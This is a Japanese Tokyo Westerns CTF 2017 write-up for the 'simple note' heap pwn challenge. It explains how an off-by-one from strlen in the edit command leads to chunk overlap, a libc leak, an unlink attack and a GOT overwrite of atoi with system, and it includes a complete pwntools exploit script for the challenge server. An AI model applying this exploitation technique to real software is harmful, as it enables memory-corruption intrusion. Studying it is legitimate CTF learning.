TWCTF 2017 [Pwn 86] simple note
Tokyo Westerns CTF 2017 の Pwn問です。
開催期間中に解けませんでしたが供養のため。
観察
セキュリティ機構
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
fileコマンド
»»»» file simple_note simple_note: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9976eff277e9b1fef5ebe60277ea7eb90a17625e, not stripped
さて今回の問題はHeap Exploit問のようです。
editコマンドは strlen
で長さを数えたあと、その長さ分の文字列を入力として受け付けるようです。
例えば、addコマンドにより 0x88
のような大きさの文字列を二回とった場合(この場合mallocでは0x90の長さの領域が確保されるが、実際にはオフセット0x88部分に次の領域のサイズが格納されるようになる。)
以下のようなデータの配置になります。
... 0x1b47000: 0x0000000000000000 0x0000000000000091 0x1b47010: 0x4141414141414141 0x4141414141414141 0x1b47020: 0x4141414141414141 0x4141414141414141 0x1b47030: 0x4141414141414141 0x4141414141414141 0x1b47040: 0x4141414141414141 0x4141414141414141 0x1b47050: 0x4141414141414141 0x4141414141414141 0x1b47060: 0x4141414141414141 0x4141414141414141 0x1b47070: 0x4141414141414141 0x4141414141414141 0x1b47080: 0x4141414141414141 0x4141414141414141 0x1b47090: 0x4141414141414141 0x0000000000000091 0x1b470a0: 0x4141414141414141 0x4141414141414141 0x1b470b0: 0x4141414141414141 0x4141414141414141 ...
バイナリはリトルエンディアンなので、メモリはひとつの塊(8byte)の中では右から左(アドレスが小さい方から)に進んでいきます。そのため アドレス 0x1b47090
の文字列 0x4141414141414141
と アドレス 0x1b47098
の文字列は 0x0000000000000091
は隣接しているため、 実際のところ 0x41414141414141419100000000000000
のようになっていると見ることが出来ます。
さて strlen
では文字列が終端文字 0x00
に到達するまで長さをかぞえます。ということは、つまり今回の場合では次の領域のサイズを示すバイトを上書きして入力できるということになります。
あとはこれを用いて、領域をオーバーラップさせunlink attackにつなげてgot領域の atoi
関数を system
関数に書き換えればシェルが取れます。
unlink attackについてはbataさんの資料が詳しいです。
katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap / katagaitai CTF #1 // Speaker Deck
Exploit
以下のExploitではわざわざ領域をオーバーラップさせることで、LIBCのアドレスをリークしていますが実際にはaddコマンドで入力した文字列が終端処理されないため、単にfreeしてLIBC上のアドレスを出した後、8byteだけ文字を入力するなどすればLIBCのリークは可能だと思います。
from pwn import * import sys #context.log_level = "debug" def add_note(size, content): conn.sendafter("Your choice:", "1") conn.sendafter("Please input the size:", str(size)) conn.sendafter("Please input your note:", content) def delete_note(index): conn.sendafter("Your choice:", "2") conn.sendafter("Please input the index:", str(index)) def show_note(index): conn.sendafter("Your choice:", "3") conn.sendafter("Please input the index:", str(index)) def edit_note(index, content): conn.sendafter("Your choice:", "4") conn.sendafter("Please input the index:", str(index)) conn.sendafter("Please input your note:", content) #size 0x7f > def exploit(): add_note(0x88, 'A' * 0x88) #idx0 add_note(0x88, 'A' * 0x88) #idx1 pause() add_note(0x88, 'A' * 0x88) #idx2 delete_note(1) add_note(0x88, 'A' * 0x8) #idx1 show_note(1) conn.recvuntil('Note: \n') LEAK = u64(conn.recv(14)[-6:] + '\x00' + '\x00') #>>> hex(0x7f5ce68adb78 - 0x7f5ce64e9000) #'0x3c4b78' LIBC = LEAK - 0x3c4b78 log.success("LEAK :0x%x" % LEAK) log.success("LIBC :0x%x" % LIBC) add_note(0x88, 'A' * 0x88)#idx3 add_note(0xf8, 'A' * 0xf8)#idx4 0x00 add_note(0x88, 'A' * 0x88)#idx5 0x100 add_note(0x88, 'A' * 0x88)#idx6 0x190 content = 'A' * 0x18 + p64(0x71) content += 'A' * (0x88 - len(content)) add_note(0x88, content)#idx7 0x220 edit_note(3, 'A' * 0x88 + '\x41\x02') delete_note(4) content = 'A' * 0x108 + p64(0x81) content += p64(0x6020c0 + 0x8 * (5 - 3)) + p64(0x6020c0 + 0x8 * (5 - 2)) content += 'A' * 0x60 + p64(0x80) + p64(0xb0) content += 'A' * (0x238 - len(content)) add_note(0x238, content) delete_note(6) #0088| 0x602058 --> 0x7f680f492e80 (<atoi>: edit_note(5, '\x58\x20\x60') #0000000000045390 W system edit_note(2, p64(LIBC + 0x45390)) conn.interactive() def experiment(): add_note(0x88, 'A' * 0x88) add_note(0x88, 'A' * 0x88) add_note(0x88, 'A' * 0x88) add_note(0x88, 'A' * 0x88) delete_note(1) pause() if __name__ == "__main__": if len(sys.argv) > 1: HOST = "pwn1.chal.ctf.westerns.tokyo" PORT = 16317 conn = remote(HOST, PORT) else: conn = process("./simple_note", env={"LD_PRELOAD":"./libc.so.6"}) exploit() #experiment()
フラグは時間内に取れなかったので知りません。